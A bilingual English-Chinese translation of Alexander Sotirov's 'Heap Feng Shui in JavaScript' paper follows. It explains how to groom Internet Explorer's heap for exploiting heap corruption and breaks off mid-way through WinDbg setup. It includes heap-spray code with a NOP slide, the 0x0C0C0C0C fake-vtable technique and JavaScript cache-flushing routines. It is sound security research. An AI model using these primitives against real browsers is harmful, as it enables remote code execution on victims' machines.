Heap Feng Shui in JavaScript

JavaScript 中的堆风水

作者：Alexander Sotirov asotirov@determina.com

译者：Hannibal509@gmail.com

审校：wooshi@gmail.com

Introduction

导言

The exploitation of heap corruption vulnerabilities on the Windows platform has become increasingly more difficult since the introduction of XP SP2. Heap protection features such as safe unlinking and heap cookies have been successful in stopping most generic heap exploitation techniques. Methods for bypassing the heap protection exist, but they require a great degree of control over the allocation patterns of the vulnerable application.

自从 WindowsXP SP2 发布之后，Windows 平台上的堆腐烂/堆破坏（heap corruption，本文中统一采用堆腐烂的译法）漏洞的利用难度是越来越高了。由于微软在堆中加入了诸如“safe unlink”以及“cookies”的堆保护功能，大多数传统的堆腐烂的利用技术几乎在一夜之间就全部败下阵来。当然，能绕过这些堆保护机制的 exploit 技术也不是没有，但是这些技术都需要我们能很好的控制存在漏洞的程序中堆分配的参数。

This paper introduces a new technique for precise manipulation of the browser heap layout using specific sequences of JavaScript allocations. We present a JavaScript library with functions for setting up the heap in a controlled state before triggering a heap corruption bug. This allows us to exploit very difficult heap corruption vulnerabilities with great reliability and precision.

本文介绍了一种全新的技术，它通过在 JavaScript 中执行一系列的堆分配和释放操作，精确的控制了浏览器的堆。另外我还提供了一个完成上述功能的 JavaScript 函数库，这样我们就能很可靠的，而且很精确的利用一些很难利用的堆腐烂漏洞了。

We will focus on Internet Explorer exploitation, but the general techniques presented here are potentially applicable to any other browser or scripting environment.

虽然本文是讨论 IE 中的 exploit 技术的，但是你也可以把这一技术引伸到其他的浏览器或者脚本执行环境中。

Previous work

预备作业

The most widely used browser heap exploitation technique is the heap spraying method developed by SkyLined for his Internet Explorer IFRAME exploit. This technique uses JavaScript to create multiple strings containing a NOP slide and shellcode. The JavaScript runtime stores the data for each string in a new block on the heap. Heap allocations usually start at the beginning of the address space and go up. After allocating 200MB of memory for the strings, any address between 50MB and 200MB is very likely to point at the NOP slide. Overwriting a return address or a function pointer with an address in this range will lead to a jump to the NOP slide and shellcode execution.

现在最流行的堆 exploit 技术是 SkyLined 为了利用 Internet Explorer IFRAME 漏洞而开发的堆喷射（heap spraying，本文中采用堆喷射的译法，呵呵比较形象，申请很多内存写上 shellcode，有点象用水枪喷水，喷的到处都是水的样子☺）技术。这一技术用 JavaScript 脚本创建了很多个 string 对象，在 string 对象中写入一个长长的 NOP 链以及紧接着 NOP 链的一小段 shellcode。JavaScript runtime 会把这些 string 对象都存储在堆中。由于堆中的数据是不断向内存高址增长的。在大约分配了 200MB 的内存给这些 string 对象之后，在 50MB～200MB 这段内存中，随意取出一个地址，上面写着的很可能就是 NOP 链中的一环。把某个返回地址覆盖掉，变成这个随意取出的地址之后，我们就能跳到这个 NOP 链上，最终执行 Shellcode。

The following JavaScript code illustrates this technique:

下面是一段堆喷射技术的 JavaScript 的演示代码：

```
var nop = unescape("%u9090%u9090");

// Create a 1MB string of NOP instructions followed by shellcode:
//
// malloc header   string length   NOP slide   shellcode   NULL
terminator
// 32 bytes        4 bytes         x bytes     y bytes     2 bytes

while (nop.length <= 0x100000/2) nop += nop;

nop = nop.substring(0, 0x100000/2 - 32/2 - 4/2 - shellcode.length -
2/2);

var x = new Array();

// Fill 200MB of memory with copies of the NOP slide and shellcode
for (var i = 0; i < 200; i++) {
    x[i] = nop + shellcode;
}
```

A slight variation of this technique can be used to exploit vtable and object pointer overwrites. If an object pointer is used for a virtual function call, the compiler generates code similar to the following:

对堆喷射技术的一个小小的改进是我们可以不改写函数的返回地址，而是去改写对象指针或者是对象的虚函数表。如果某个对象中使用了虚函数，那么当我们用这个对象的指针去调用这个对象的虚函数时，编译器一般会生成下面这段代码：

```
mov ecx, dword ptr [eax]     ; get the vtable address
push eax                     ; pass C++ this pointer as the first
argument
call dword ptr [ecx+08h]     ; call the function at offset 0x8 in the
vtable
```

The first four bytes of every C++ object contain a pointer to the vtable. To exploit an overwritten object pointer, we need to use an address that points to a fake object with a fake vtable that contains pointers to the shellcode. It turns out that setting up this kind of structure in memory is not as hard as it seems. The first step is to use a sequence of 0xC bytes for the NOP slide and overwrite the object pointer with an address that points to the slide. The virtual table pointer in the beginning of the fake object will be a dword from the NOP slide that points to 0x0C0C0C0C. The memory at this address will also contain 0xC bytes from the NOP slide, and all virtual function pointers in the fake vtable will point back to the slide at 0x0C0C0C0C. Calling any virtual function of the object will result in a call to the shellcode.

在每个 C++对象的前 4 个直接中都存放了一个指向虚函数表的指针。要利用虚函数表进行 exploit，我们需要把一个指向我们伪造的虚函数表的指针覆盖到对象的前 4 个字节，然后在我们伪造的虚函数表中写入一个指向 shellcode 的指针。看上去要完成这个任务还是比较简单的。首先，我们把一串（要偶数个）0x0C 当成 NOP 链（译注：0x0C0C 会被当成一条指令“or al, 0Ch”）。然后用指向这串 NOP 链的指针覆盖掉对象的指针。这样这个“假冒的”对象的的虚函数表就成了在0x0C0C0C0C 上的那张表，这时如果地址 0x0C0C0C0C 上也写上了 0x0C 组成的 NOP 链（这一点很容易做到，因为 0x0C0C0C0C 不算太高，大量分配 string 对象很容易就能“占领”这个地址），那么调用任何对象的虚函数都会绕回这串 0x0C 组成的 NOP 链，最终执行我们的 shellcode。

The sequence of dereferences is show below:

如下图所示：

```
object pointer   -->   fake object   -->   fake vtable     -->    fake
virtual function

addr: xxxx             addr: yyyy          addr: 0x0C0C0C0C       addr:
0x0C0C0C0C
data: yyyy             data: 0x0C0C0C0C    data: +0 0x0C0C0C0C    data:
nop slide
                                                 +4 0x0C0C0C0C
shellcode
                                                 +8 0x0C0C0C0C
```

The key observation from SkyLined's technique is that the system heap is accessible from JavaScript code. This paper will take this idea even further and will explore ways to completely control the heap with JavaScript.

SkyLined 的堆喷射方法之所以能够成功，关键的一点就在于在 JavaScript 中的脚本代码实际上是能够访问系统堆的。现在我们要走的更远一些，我们要利用 JavaScript 完全控制系统的堆。

Motivation

动机

The heap spraying technique described above is surprisingly effective, but it alone is not sufficient for reliable heap exploitation. There are two reasons for this.

堆喷射技术以其令人震惊的有效性而闻名于世，但出于下面这 2 个原因，我认为它还是不算很可靠。

On Windows XP SP2 and later systems it is easier to exploit heap corruption vulnerabilities by overwriting application data on the heap, rather than corrupting the internal malloc data structures. This is because the heap allocator performs additional verification of the malloc chunk headers and the doubly-linked lists of free blocks, which renders the standard heap exploitation methods ineffective. As a result, many exploits use the heap spraying technique to fill the address space with shellcode and then try to overwrite an object or vtable pointer on the heap. The heap protection in the operating system does not extend to the application data stored in memory. The state of the heap is hard to predict, however, and there is no guarantee that the overwritten memory will always contain the same data. In this case the exploit might fail.

对于 Windows XP SP2 之后的微软的操作系统来说，由于堆中内存空间的分配函数（HeapAlloc）在其分配的内存块（chunk）的管理头部中加入了 cookie 校验信息并且实现了空闲内存块的双向链表的安全删除技术，使得我们利用堆腐烂技术腐烂(或称破坏/覆盖)内存块的管理头部中的数据变得非常困难。这就使一些传统的堆腐烂技术一夜之间就全部落伍了。这样就迫使我们要想办法腐烂内存块中应用程序填写的数据，因为操作系统实际上是管不着应用程序到底要往 chunk 中写些什么，所以根本无法把现有的一些堆保护技术运用到 chunk 中的数据。这样做的结果是，有许多漏洞利用程序都使用了堆喷射技术：用 shellcode 填满很大的一个内存区域，然后试图覆盖堆中的一个对象或者虚函数表的指针。但是堆中内存的状态是很难预测的，也就是说，谁也不能保证，上一次成功利用时的堆的状态会在下一次利用时能重复出现。所以有时，使用堆喷射技术的利用会失败。

One example of this is the ie_webview_setslice exploit in the Metasploit Framework. It triggers a heap corruption vulnerability repeatedly, hoping to trash enough of the heap to cause a jump to random heap memory. It shouldn't come as a surprise that the exploit is not always successful.

这方面的一个例子就是 Metasploit Framework 中的 ie_webview_setslice 漏洞的 exploit。在这个 exploit 中我们不断地触发一个堆腐烂漏洞，希望以此来浪费掉足够多的堆中的空间，使程序能成功的跳到一个随机的堆中的地址。正如我们所见，这个 exploit 并不是每次都能成功的。

The second problem is the trade-off between the reliability of an exploit and the amount of system memory consumed by heap spraying. If an exploit fills the entire address space of the browser with shellcode, any random jump would be exploitable. Unfortunately, on systems with insufficient physical memory, heap spraying will result in heavy use of the paging file and slow system performance. If the user closes the browser before the heap spraying is complete, the exploit will fail.

堆喷射技术的另一个问题在于：你准备申请多少内存来写 shellcode？答案当然是“韩信点兵，多多益善”罗。我们考虑一下比较极端的情况：如果我们把整个浏览器的内存地址空间中都写满 shellcode，那么我随便跳到任何一个地方都能激活 shellcode☺但是你想过没有，要消耗多少系统物理内存资源？随之而来的页交换又将带来多少额外的开销，降低多少系统资源。老实说，我要是那个倒霉的被攻击用户，不等到你的 shellcode 运行，也许就已经先不耐烦而直接关闭浏览器了。这样的攻击又怎么可能成功呢？所以到底应该申请多少内存空间写 shellcode 就变成了一件很有讲究的事了。

This paper presents a solution to both of these problems, making reliable and precise exploitation possible.

本文为上述这 2 个问题提出一个解决方案，提出一种新的可靠而且精准的利用方法。

Internet Explorer heap internals

Overview

There are three main components of Internet Explorer that allocate memory typically corrupted by browser heap vulnerabilities. The first one is the MSHTML.DLL library, responsible for managing memory for HTML elements on the currently displayed page. It allocates memory during the initial rendering of the page, and during any subsequent DHTML manipulations. The memory is allocated from the default process heap and is freed when a page is closed or HTML elements are destroyed.

在 IE 中（本文中涉及的浏览器堆腐烂漏洞）担负分配内存任务的主要是 3 个组件。第一个是 MSHTML.DLL 这个动态链接库，它负责管理用于当前显示的页（以及随之而来的 DHTML 操作）中

HTML 元素的内存空间的分配和回收。这个 DLL 在进程默认堆中分配内存空间，并且在当前页面被关闭，或者 HTML 元素析构（destroy）时回收空间。

The second component that manages memory is the JavaScript engine in JSCRIPT.DLL. Memory for new JavaScript objects is allocated from a dedicated JavaScript heap, with the exception of strings, which are allocated from the default process heap. Unreferenced objects are destroyed by the garbage collector, which runs when the total memory consumption or the number of objects exceed a certain threshold. The garbage collector can also be triggered explicitly by calling the CollectGarbage() function.

第二个用于管理内存空间的组件是 JSCRIPT.DLL 中的 JavaScript 引擎。但我们 new 一个 JavaScript 对象时，这个对象将被分配到一个专门的 JavaScript 堆中。string 对象除外，string 对象是被分配到进程默认堆里去的。一旦某个对象不再被引用了，垃圾回收机制就会析构这个对象。这个垃圾回收机制会在 2 种情况下被激活，一种是在总的内存消耗或者对象的总数超过了某个极限的时候，再有就是我们显式的调用 CollectGarbage()函数的时候。

The final component in most browser exploits is the ActiveX control that causes heap corruption. Some ActiveX controls use a dedicated heap, but most allocate and corrupt memory on the default process heap.

最后一个组件是 ActiveX 控制器，这个组件经常会出现堆腐烂的问题（至少在本文中漏洞是在 ActiveX 控制器中的）。有些 ActiveX 控制器会使用一个专用的堆，但是大多数 ActiveX 控制器则使用进程默认堆。

An important observation is that all three components of Internet Explorer use the same default process heap. This means that allocating and freeing memory with JavaScript changes the layout of the heap used by MSHTML and ActiveX controls, and a heap corruption bug in an ActiveX control can be used to overwrite memory allocated by the other two browser components.

我们必须注意到一个重要的事实：上述三个 IE 组件都是使用同一个进程默认堆的。这也就是说：在 JavaScript 中的一些堆分配动作会直接影响到 MSHTML 和 ActiveX 控制器所使用的堆的状况，而一个 ActiveX 控制器中的堆腐烂 bug 也可以用来覆盖分配给 HTML 元素或者 JavaScript string 对象的内存空间。

JavaScript strings

The JavaScript engine allocates most of its memory with the MSVCRT malloc() and new() functions, using a dedicated heap created during CRT initialization. One important exception is the data for JavaScript strings. They are stored as BSTR strings, a basic string type used by the COM interface. Their memory is allocated from the default process heap by the SysAllocString family of functions in OLEAUT32.DLL.

在 JavaScript 引擎中绝大多数的内存分配是使用 MSVCRT 中的 malloc()和 new()函数实现的。用这 2 个函数分配的空间都是位于 CRT 初始化时创建的一个专用的堆中的，但是一个比较重要的例外时 JavaScript string 对象。JavaScript 的 string 对象是以 BSTR string 格式（一种用于 COM 接口的基本 string 类型）存储的，它所需的空间是用 OLEAUT32.DLL 中的 SysAllocString 系列函数分配到进程默认堆中的。

Here is a typical backtrace from a string allocation in JavaScript:

下面给出的是一个 JavaScript 中分配一个 string 对象的调用回溯关系：

```
ChildEBP RetAddr  Args to Child
0013d26c 77124b52 77606034 00002000 00037f48 ntdll!RtlAllocateHeap+0xeac
```

```
0013d280 77124c7f 00002000 00000000 0013d2a8
OLEAUT32!APP_DATA::AllocCachedMem+0x4f
0013d290 75c61dd0 00000000 00184350 00000000
OLEAUT32!SysAllocStringByteLen+0x2e
0013d2a8 75caa763 00001ffa 0013d660 00037090
jscript!PvarAllocBstrByteLen+0x2e
0013d31c 75caa810 00037940 00038178 0013d660
jscript!JsStrSubstrCore+0x17a
0013d33c 75c6212e 00037940 0013d4a8 0013d660 jscript!JsStrSubstr+0x1b
0013d374 75c558e1 0013d660 00000002 00038988
jscript!NatFncObj::Call+0x41
0013d408 75c5586e 00037940 00000000 00000003
jscript!NameTbl::InvokeInternal+0x218
0013d434 75c62296 00037940 00000000 00000003
jscript!VAR::InvokeByDispID+0xd4
0013d478 75c556c5 00037940 0013d498 00000003
jscript!VAR::InvokeByName+0x164
0013d4b8 75c54468 00037940 00000003 0013d660
jscript!VAR::InvokeDispName+0x43
0013d4dc 75c54d1a 00037940 00000000 00000003
jscript!VAR::InvokeByDispID+0xfb
0013d6d0 75c544fa 0013da80 00000000 0013d7ec
jscript!CScriptRuntime::Run+0x18fb
```

To allocate a new string on the heap, we need to create a new JavaScript string object. We cannot simply assign string literal to a new variable, because this does not create a copy of the string data. Instead, we need to concatenate two strings or use the substr function. For example:

要在堆中分配一个string对象，我们当然首先要创建一个新的JavaScript string对象。但是简单的声明一个新的变量并不会在堆中分配一块空间出来，因为这并不会创建string的一份拷贝，要想达到我们的目的，我们需要连接2个string或者使用substr()函数，如下例：

```
var str1 = "AAAAAAAAAAAAAAAAAAAA";  // doesn't allocate a new string
var str2 = str1.substr(0, 10);      // allocates a new 10 character
string
var str3 = str1 + str2;             // allocates a new 30 character
string
```

BSTR strings are stored in memory as a structure containing a four-byte size field, followed by the string data as 16-bit wide characters, and a 16-bit null terminator. The str1 string from the example above will have the following representation in memory:

BSTR string在内存中的结构类似于一个结构体，它包括一个4字节的大小的域（表示string的长度），紧接着string的内容（每字符16-bit），最后以一个NULL结尾（16-bit）。如下图所示：

```
string size | string data
| null terminator
4 bytes     | length / 2 bytes
| 2 bytes
            |
|
14 00 00 00 | 41 00 41 00 41 00 41 00 41 00 41 00 41 00 41 00 41 00 41
00 | 00 00
```

We can use the following two formulas to calculate how many bytes will be allocated for a string, or how long a string must be to allocate a certain number of bytes:

下面给出2个公式，分别用于在已知string长度的情况下计算string将要被分配到的内存大小，以及在已知需要分配内存大小的情况下计算需要一个多长的string。

```
bytes = len * 2 + 6
```

```
len = (bytes - 6) / 2
```

The way strings are stored allows us to write a function that allocates a memory block of an arbitrary size by allocating a new string. The code will calculate the required string length using the `len = (bytes-6)/2` formula, and call substr to allocate a new string of that length. The string will contain data copied from the padding string. If we want to put specific data into the new memory block, we just need to initialize the padding string with it beforehand.

知道了 string 的存储方式，我们就能写出一个函数来分配我们所希望的任意大小的内存块的函数了。我们可以用 `len = (bytes-6)/2` 这个公式计算出分配我们所需大小的内存块需要的 string 的长度，然后调用 substr()函数来分配空间。当然一般情况下（比如下面这个示例），新分配到的内存空间会被 padding 的内容，也就是‘A’填充，如果我们需要控制内存块中的数据的话，我们也可以根据我们的需要去初始化 padding。

```
// Build a long string with padding data

padding = "AAAA"

while (padding.length < MAX_ALLOCATION_LENGTH)
    padding = padding + padding;

// Allocate a memory block of a specified size in bytes

function alloc(bytes) {
    return padding.substr(0, (bytes-6)/2);
}
```

Garbage collection

垃圾收集机制

To manipulate the browser heap layout it is not enough to be able to allocate memory blocks of an arbitrary size, we also need a way to free them. The JavaScript runtime uses a simple mark-and-sweep garbage collector, the most detailed description of which is in a post on Eric Lippert's blog.

要完全控制浏览器的堆，光能随意分配任意大小的内存空间是不够的，我们还要能随意释放已分配到的内存空间。（不像 C/C++语言中程序员是显式调用 delete/free 之类的函数）在 JavaScript runtime 中是使用一种简单的 mark-and-sweep（不知道有没有标准的译名，古存疑，保留英语原文）的垃圾处理机制来释放已经不被使用的内存空间的，在 Eric Lippert 的 blog 里有详细的细节描述。

Garbage collection is triggered by various heuristics, such as the number of objects created since the last run. The mark-and-sweep algorithm identifies all unreferenced objects in the JavaScript runtime and destroys them. When a string object is destroyed, its data is freed by calling SysFreeString in OLEAUT32.DLL. This is a backtrace from the garbage collector:

（JavaScript 中）垃圾处理机制可能会被各种不同的条件（比如可能是对象的数量太多了）所触发。mark-and-sweep 算法会标识出 JavaScript runtime 所有已经不被引用了的对象，并且析构这些对象。当垃圾处理机制析构一个 string 对象的时候，垃圾处理机制会调用 OLEAUT32.DLL 中的 SysFreeString 函数来释放 string 对象所占的内存空间。下面给出的是 JavaScript 中实现垃圾回收机制的函数调用的回溯关系：

```
ChildEBP RetAddr  Args to Child
```

```
0013d324 774fd004 00150000 00000000 001bae28 ntdll!RtlFreeHeap
0013d338 77124ac8 77606034 001bae28 00000008
ole32!CRetailMalloc_Free+0x1c
0013d358 77124885 00000006 00008000 00037f48
OLEAUT32!APP_DATA::FreeCachedMem+0xa0
0013d36c 77124ae3 02a8004c 00037cc8 00037f48 OLEAUT32!SysFreeString+0x56
0013d380 75c60f15 00037f48 00037f48 75c61347 OLEAUT32!VariantClear+0xbb
0013d38c 75c61347 00037cc8 000378a0 00036d40 jscript!VAR::Clear+0x5d
0013d3b0 75c60eba 000378b0 00000000 000378a0
jscript!GcAlloc::ReclaimGarbage+0x65
0013d3cc 75c61273 00000002 0013d40c 00037c10
jscript!GcContext::Reclaim+0x98
0013d3e0 75c99a27 75c6212e 00037940 0013d474
jscript!GcContext::Collect+0xa5
0013d3e4 75c6212e 00037940 0013d474 0013d40c
jscript!JsCollectGarbage+0x10
```

To free one of the strings we've allocated, we need to delete all references to it and run the garbage collector. Fortunately, we don't have to wait for one of the heuristics to trigger it, because the JavaScript implementation in Internet Explorer provides a CollectGarbage() function which forces the garbage collector to run immediately. The use of this function is shown in the code below:

要释放掉某个 string 对象所占的内存空间，我们首先要删除掉所有对这个 string 对象的引用，然后运行垃圾处理机制。对我们来说幸运的是，我们不需要再去创建很多对象或者分配很多空间以构造一个能出发垃圾处理机制的情况。在 IE 的 JavaScript 实现中有一个 CollectGarbage()函数，调用这个函数我们就能立即强制垃圾处理机制。如下面这段代码：

```
var str;

// We need to do the allocation and free in a function scope, otherwise
the
// garbage collector will not free the string.

//我们必须在同一个函数的作用域中完成分配和释放 string 对象的动作，否则垃圾处理机制将不
会释放 string 对象

function alloc_str(bytes) {
    str = padding.substr(0, (bytes-6)/2);
}

function free_str() {
    str = null;
    CollectGarbage();
}

alloc_str(0x10000);      // allocate memory block
free_str();              // free memory block
```

The code above allocates a 64KB memory block and frees it, demonstrating our ability to perform arbitrary allocations and frees on the default process heap. We can free only blocks that were allocated by us, but even with that restriction we still have a great degree of control over the heap layout.

上面这段代码将分配 64KB 的一个内存块，并且释放它。这段代码演示了如何在进程默认堆中分配任意大小的内存块并且按我们自己的意志释放它。现在我们已经能释放我们自己刚刚分配的空间了，即使加上一些限制（译注：大概是指上面要求的“必须在同一个函数的作用域中完成分配和释放 string 对象的动作”），我们仍然已经能在很大程度上控制堆的状态了。

OLEAUT32 memory allocator

OLEAUT32 中内存的分配算法

Unfortunately, it turns out that a call to SysAllocString doesn't always result in an allocation from the system heap. The functions for allocating and freeing BSTR strings use a custom memory allocator, implemented in the APP_DATA class in OLEAUT32. This memory allocator maintains a cache of freed memory blocks, and reuses them for future allocations. This is similar to the lookaside lists maintained by the system memory allocator.

现在我们的问题是，不是每次我们调用 SysAllocString 函数，都会在堆中新分配一个内存空间供 string 对象使用的。BSTR string 所需空间分配和释放的具体工作是有 OLEAUT32 中的 APP_DATA 类实现的，在这个类中使用了一个很普通的内存分配算法。堆中使用一个类似于系统的堆内存分配函数（如 HeapAlloc 函数）使用的 Lookaside list 的缓存，被释放的内存满足一定条件时（详见下一段）会被释放到这个缓存中（在这个缓存中的内存块实际上并没有被释放掉，也就是不会去执行任何内存块的合并操作），并且会在下一次应用程序申请内存时，优先分配出去。

The cache consists of 4 bins, each holding 6 blocks of a certain size range. When a block is freed with the APP_DATA::FreeCachedMem() function, it is stored in one of the bins. If the bin is full, the smallest block in the bin is freed with HeapFree() and is replaced with the new block. Blocks larger than 32767 bytes are not cached and are always freed directly.

（有关 Lookaside list 详见《Windows Heap Exploitation》为了保持表述的一致性，下面翻译时使属于术语尽量与 Lookaside 中的使用的术语一致）这个缓存由 4 个项组成，每个项中都能存放 6 个某一大小范围中的被释放的内存块。当我们释放一个内存块时，系统首先将要调用 APP_DATA::FreeCachedMem()函数把这个内存块释放到缓存中相应的项中去，如果这个对应项中已经满了（也就是已经有了 6 个内存块），那么这 7 个内存块中最小的一个将会被 HeapFree() 函数释放掉，然后把新释放的这个块加进来（如果新释放的这个内存块不是 7 个内存块中最小的那一块的话）。当然如果被释放的内存块大于 32767 个字节的话，它就会被直接释放掉，而不会进入缓存。

When APP_DATA::AllocCachedMem() is called to allocate memory, it looks for a free block in the appropriate size bin. If a large enough block is found, it is removed from the cache and returned to the caller. Otherwise the function allocates new memory with HeapAlloc().

当应用程序调用 APP_DATA::AllocCachedMem()函数时，它首先会检查缓存中相应的项中的 6 个内存块，从中找出最符合要求内存块，然后把这个内存块从缓存中释放出来，把它直接返回给应用程序。如果没有找到合适的内存块，它就会调用 HeapAlloc()函数从堆中发配新的内存空间。

The decompiled code of the memory allocator is shown below:

下面是反汇编出来的 APP_DATA::FreeCachedMem()和 APP_DATA::AllocCachedMem()以及相应结构的代码：

```
// Each entry in the cache has a size and a pointer to the free block

struct CacheEntry
{
    unsigned int size;
    void* ptr;
}

// The cache consists of 4 bins, each holding 6 blocks of a certain size
range

class APP_DATA
{
    CacheEntry bin_1_32     [6];    // blocks from 1 to 32 bytes
    CacheEntry bin_33_64    [6];    // blocks from 33 to 64 bytes
    CacheEntry bin_65_256   [6];    // blocks from 65 to 265 bytes
    CacheEntry bin_257_32768[6];    // blocks from 257 to 32768 bytes

    void* AllocCachedMem(unsigned long size);   // alloc function
    void FreeCachedMem(void* ptr);              // free function
};


//
// Allocate memory, reusing the blocks from the cache
//

void* APP_DATA::AllocCachedMem(unsigned long size)
{
    CacheEntry* bin;
    int i;

    if (g_fDebNoCache == TRUE)
        goto system_alloc;          // Use HeapAlloc if caching is
disabled

    // Find the right cache bin for the block size

    if (size > 256)
        bin = &this->bin_257_32768;
    else if (size > 64)
        bin = &this->bin_65_256;
    else if (size > 32)
        bin = &this->bin_33_64;
    else
        bin = &this->bin_1_32;

    // Iterate through all entries in the bin

    for (i = 0; i < 6; i++) {

        // If the cached block is big enough, use it for this allocation

        if (bin[i].size >= size) {
            bin[i].size = 0;        // Size 0 means the cache entry is
unused
            return bin[i].ptr;
        }
    }

system_alloc:

    // Allocate memory using the system memory allocator
    return HeapAlloc(GetProcessHeap(), 0, size);
}


//
// Free memory and keep freed blocks in the cache
//

void APP_DATA::FreeCachedMem(void* ptr)
{
    CacheEntry* bin;
    CacheEntry* entry;
    unsigned int min_size;
    int i;

    if (g_fDebNoCache == TRUE)
        goto system_free;           // Use HeapFree if caching is
disabled
```

```
    // Get the size of the block we're freeing
    size = HeapSize(GetProcessHeap(), 0, ptr);

    // Find the right cache bin for the size

    if (size > 32768)
        goto system_free;           // Use HeapFree for large blocks
    else if (size > 256)
        bin = &this->bin_257_32768;
    else if (size > 64)
        bin = &this->bin_65_256;
    else if (size > 32)
        bin = &this->bin_33_64;
    else
        bin = &this->bin_1_32;

    // Iterate through all entries in the bin and find the smallest one

    min_size = size;
    entry = NULL;

    for (i = 0; i < 6; i++) {

        // If we find an unused cache entry, put the block there and
return

        if (bin[i].size == 0) {
            bin[i].size = size;
            bin[i].ptr = ptr;       // The free block is now in the
cache
            return;
        }

        // If the block we're freeing is already in the cache, abort

        if (bin[i].ptr == ptr)
            return;

        // Find the smallest cache entry

        if (bin[i].size < min_size) {
            min_size = bin[i].size;
            entry = &bin[i];
        }
    }

    // If the smallest cache entry is smaller than our block, free the
cached
    // block with HeapFree and replace it with the new block

    if (min_size < size) {
        HeapFree(GetProcessHeap(), 0, entry->ptr);
        entry->size = size;
        entry->ptr = ptr;
        return;
    }

system_free:

    // Free the block using the system memory allocator
    return HeapFree(GetProcessHeap(), 0, ptr);
}
```

The caching alrogithm used by the APP_DATA memory allocator presents a problem, because only some of our allocations and frees result in calls to the system allocator.

上面讨论的 APP_DATA 所使用的内存分配算法揭示了一个问题：在我们申请和释放的内存块中只有一部分会调用系统的堆内存分配函数。

Plunger technique

绕过 OLEAUT32 的缓存机制

To make sure that each string allocation comes from the system heap, we need to allocate 6 blocks of the maximum size for each bin. Since the cache can hold only 6 blocks in a bin, this will make sure that all cache bins are empty. The next string allocation is guaranteed to result in a call to HeapAlloc().

为了确保我们要分配的所有 string 对象都能够通过系统堆内存分配函数真正从堆中分配空间，我们需要把 APP_DATA 的缓存中 4 个项都清空掉（记第 n 个项可写入的最大内存块的尺寸为 Max_n）。因为缓存的各个项都只能容纳 6 个内存块，所以我们可以通过为每个项分配 6 个 Max_n 大小的内存块的方式来达到这一目的。这样就保证以后我们要分配的每个 string 对象所需的内存空间都是用 HeapAlloc()分配出来的。

If we free the string we just allocated, it will go into one of the cache bins. We can flush it out of the cache by freeing the 6 maximum-size blocks that we allocated in the previous step. The FreeCachedMem() function will push all smaller blocks out of the cache, and our string will be freed with HeapFree(). At this point, the cache will be full, so we need to empty it again by allocating 6 maximum-size blocks for each bin.

当我们释放刚才我们分配的 string 对象的内存空间时，因为缓存中相应的项已经被清空了，所以它一定会进入缓存中相应的项（第 n 个项），这时我们可以通过再释放 6 个 Max_n 大小的内存块的方式来把我们的 string 对象“挤”出缓存。这样 string 对象所占的空间就会被 HeapFree()回收。当然这时，缓存也就被填满了，所以再要分配 6 个 Max_n 大小的内存块来清空缓存中这个项。

In effect, we are using the 6 blocks as a plunger to push out all smaller blocks out of the cache, and then we pull the plunger out by allocating the 6 blocks again.

（这一节是刚才那些话的重复，不译）

The following code shows an implementation of the plunger technique:

下面是这一技术的实现代码：

```
plunger = new Array();

// This function flushes out all blocks in the cache and leaves it empty

function flushCache() {

    // Free all blocks in the plunger array to push all smaller blocks
out

    plunger = null;
    CollectGarbage();

    // Allocate 6 maximum size blocks from each bin and leave the cache
empty

    plunger = new Array();

    for (i = 0; i < 6; i++) {
        plunger.push(alloc(32));
        plunger.push(alloc(64));
```

```
            plunger.push(alloc(256));
            plunger.push(alloc(32768));
        }
    }

    flushCache();            // Flush the cache before doing any allocations

    alloc_str(0x200);        // Allocate the string

    free_str();              // Free the string and flush the cache
    flushCache();
```

To push a block out of the cache and free it with HeapFree(), it must be smaller than the maximum size for its bin. Otherwise, the condition `min_size < size` in FreeCachedMem will not be satisfied and the plunger block will be freed instead. This means that we cannot free blocks of size 32, 64, 256 or 32768, but this is not a serious limitation.

当然为了保证这一技术的有效性，string 对象的大小必须要小于 Max_n，否则 FreeCachedMem() 函数中 `min_size < size` 的这个条件就不会被满足。换句话说，如果 string 对象所占内存大小恰好等于 32,64,256 或者 32768 的话，这一技术可能失效。不过这好像不能算是一个很大的限制。

HeapLib - JavaScript heap manipulation library

HeapLib – JavaScript 堆操作的函数库

We implemented the concepts described in the previous section in a JavaScript library called HeapLib. It provides alloc() and free() functions that map directly to calls to the system allocator, as well as a number of higher level heap manipulation routines.

我把上一节中描述的技术放在一个 HeapLib.js 的 JavaScript 函数库中（可以从 BlackHat 2007 欧洲部分文档中下载）。在这个函数库中提供了 alloc()和 free()这两个函数。我们可以直接调用这两个函数分配空间，并且保证是绕过 OLEAUT32，直接使用系统的堆内存分配函数分配内存空间，就像我们直接在使用其他高级语言的堆操作函数一样。

The Hello World of HeapLib

The most basic program utilizing the HeapLib library is shown below:

```
    <script type="text/javascript" src="heapLib.js"></script>

    <script type="text/javascript">

        // Create a heapLib object for Internet Explorer
        var heap = new heapLib.ie();

        heap.gc();      // Run the garbage collector before doing any
    allocations

        // Allocate 512 bytes of memory and fill it with padding
        heap.alloc(512);

        // Allocate a new block of memory for the string "AAAAA" and tag the
    block with "foo"
        heap.alloc("AAAAA", "foo");

        // Free all blocks tagged with "foo"
        heap.free("foo");
```

```
</script>
```

This program allocates a 16 byte block of memory and copies the string "AAAAA" into it. The block is tagged with the tag "foo", which is later used as an argument to free(). The free() function frees all memory blocks marked with this tag.

这段程序分配了一个 16 个字节大小的内存块用于存放 string 对象"AAAAA"。这个内存块被标记为“foo”,随后这个标记又被当作参数传给函数 free()，把这个内存块释放掉。

In terms of its effect on the heap, the Hello World program is equivalent to the following C code:

如果我们仅仅考虑程序对堆的影响的话，上面这段程序就等价于下面这段 C 代码：

```
block1 = HeapAlloc(GetProcessHeap(), 0, 512);
block2 = HeapAlloc(GetProcessHeap(), 0, 16);
HeapFree(GetProcessHeap(), 0, block2);
```

Debugging

调试

HeapLib provides a number of functions that can be used to debug the library and inspect its effect on the heap. This is small example that illustrates the debugging functionality:

HeapLib 提供了几个函数用以调试，并且观察它对堆的影响，下面这个程序是使用这些调试函数的一个简单的例子：

```
heap.debug("Hello!");    // output a debugging message
heap.debugHeap(true);    // enable tracing of heap allocations
heap.alloc(128, "foo");
heap.debugBreak();       // break in WinDbg
heap.free("foo");
heap.debugHeap(false);   // disable tracing of heap allocations
```

To see the debugging output, attach WinDbg to the IEXPLORE.EXE process and set the following breakpoints:

为了观察调试函数的输入情况，我们可以用 WinDbg 程序附加上 IEXPLORE.EXE 进程，并且设置下面这些断点：

```
bc *

bu 7c9106eb "j (poi(esp+4)==0x150000)
    '.printf \"alloc(0x%x) = 0x%x\", poi(esp+c), eax; .echo; g'; 'g';"

